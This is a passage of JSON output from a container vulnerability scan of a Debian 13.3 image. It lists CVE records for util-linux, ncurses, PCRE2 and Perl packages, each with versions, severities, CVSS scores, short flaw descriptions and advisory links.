stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2dbfdf6c0b5cda396f66339e7c3c720612514afb4b165d30aac7011bc9e94ff3", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "libncursesw6@6.5+20250216-2", "PkgName": "libncursesw6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libncursesw6@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.3", "UID": "217bb0c4e6d77677" }, "InstalledVersion": "6.5+20250216-2", "Status": "affected", "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e21e4eab0e9b88b1cdea053dbe8adc9f549bfd0157b6e6f2617bb2f66586171d", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-103111", "VendorIDs": [ "DSA-6530-1" ], "PkgID": "libpcre2-8-0@10.46-1~deb13u1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.3", "UID": "7a082037c8a89871" }, "InstalledVersion": "10.46-1~deb13u1", "FixedVersion": "10.46-1~deb13u3", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-103111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1b3e9bb9fbc459208967e78a3706506abe1abc6548aeefadfc8dc1079e0f3dc1", "Title": "pcre2: pcre2: Out-of-bounds write via crafted regular expression", "Description": "PCRE2 before 10.49, when there is an attacker-controlled regular expression and certain JIT API usage, allows an out-of-bounds write with arbitrary data.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-103111", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-r9hj-j2rw-4q3m", "https://linux.oracle.com/cve/CVE-2026-103111.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00008.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-103111", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-103111" ], "PublishedDate": "2026-09-30T05:16:45.863Z", "LastModifiedDate": "2026-10-04T00:16:35.563Z" }, { "VulnerabilityID": "CVE-2026-86145", "PkgID": "libpcre2-8-0@10.46-1~deb13u1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.3", "UID": "7a082037c8a89871" }, "InstalledVersion": "10.46-1~deb13u1", "FixedVersion": "10.46-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86145", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fd4101bcb1046a1cacdeb6f7eb8950371cda69c3993c0247527412741f317fec", "Title": "pcre2: PCRE2: Out-of-bounds write allows arbitrary code execution via crafted regular expressions", "Description": "PCRE2 before 10.48 allows a pcre2_dfa_match out-of-bounds write because reuse of a cached workspace block, in a recursive DFA matching workspace, lacks a size check (even though a newly allocated block, for the same purpose, does have a size check). This outcome requires an attacker-controlled regular expression, or a recursive pattern in conjunction with a small heap limit (this can be set through the API).", "Severity": "HIGH", "CweIDs": [ "CWE-424" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 8.2 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "http://www.openwall.com/lists/oss-security/2026/09/05/3", "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-86145", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/17.1.0/BRSA-xqvt0yt0g9rb.toml", "https://github.com/bottlerocket-os/bottlerocket/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://linux.oracle.com/cve/CVE-2026-86145.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86145", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-86145" ], "PublishedDate": "2026-09-05T06:17:10.37Z", "LastModifiedDate": "2026-09-09T16:04:24.933Z" }, { "VulnerabilityID": "CVE-2026-89157", "PkgID": "libpcre2-8-0@10.46-1~deb13u1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.3", "UID": "7a082037c8a89871" }, "InstalledVersion": "10.46-1~deb13u1", "FixedVersion": "10.46-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89157", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c3b129d586709606f705f6e51beac28f493981ab97fe90c044c1129ab901975b", "Title": "pcre2: PCRE2: Out-of-bounds write via large pattern input", "Description": "PCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 5.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89157", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9", "https://linux.oracle.com/cve/CVE-2026-89157.html", "https://linux.oracle.com/errata/ELSA-2026-81613.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89157", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89157" ], "PublishedDate": "2026-09-11T04:18:03.753Z", "LastModifiedDate": "2026-09-16T19:25:08.88Z" }, { "VulnerabilityID": "CVE-2026-89161", "PkgID": "libpcre2-8-0@10.46-1~deb13u1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.3", "UID": "7a082037c8a89871" }, "InstalledVersion": "10.46-1~deb13u1", "FixedVersion": "10.46-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89161", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:10587ea6e95be640e5dd146cc173c7400efb27e82a354ce487c36f8cbc5982f8", "Title": "pcre2: PCRE2: Memory corruption vulnerability in pcre2_jit_match", "Description": "In PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.", "Severity": "HIGH", "CweIDs": [ "CWE-590" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89161", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/commit/1dcd0cf42a6a7cb62cc9a7c024196733abcfda95%20%28pcre2-10.48-RC1%29", "https://github.com/PCRE2Project/pcre2/pull/937", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://linux.oracle.com/cve/CVE-2026-89161.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89161", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89161" ], "PublishedDate": "2026-09-11T04:18:04.47Z", "LastModifiedDate": "2026-09-16T19:10:47.78Z" }, { "VulnerabilityID": "CVE-2026-13221", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:20e55aa8f0f16d3d32a82f8ca3b337d88e014f0a51b634a016353038bf2063e7", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c284409f03dd72932d293dd00b1b2562e30bab4114fe2af3122eda27d6e5d858", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2b1ad7d0dc43b9844aebcb125fa7ee93b7e7149432efaa53d573667482ad0a43", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit 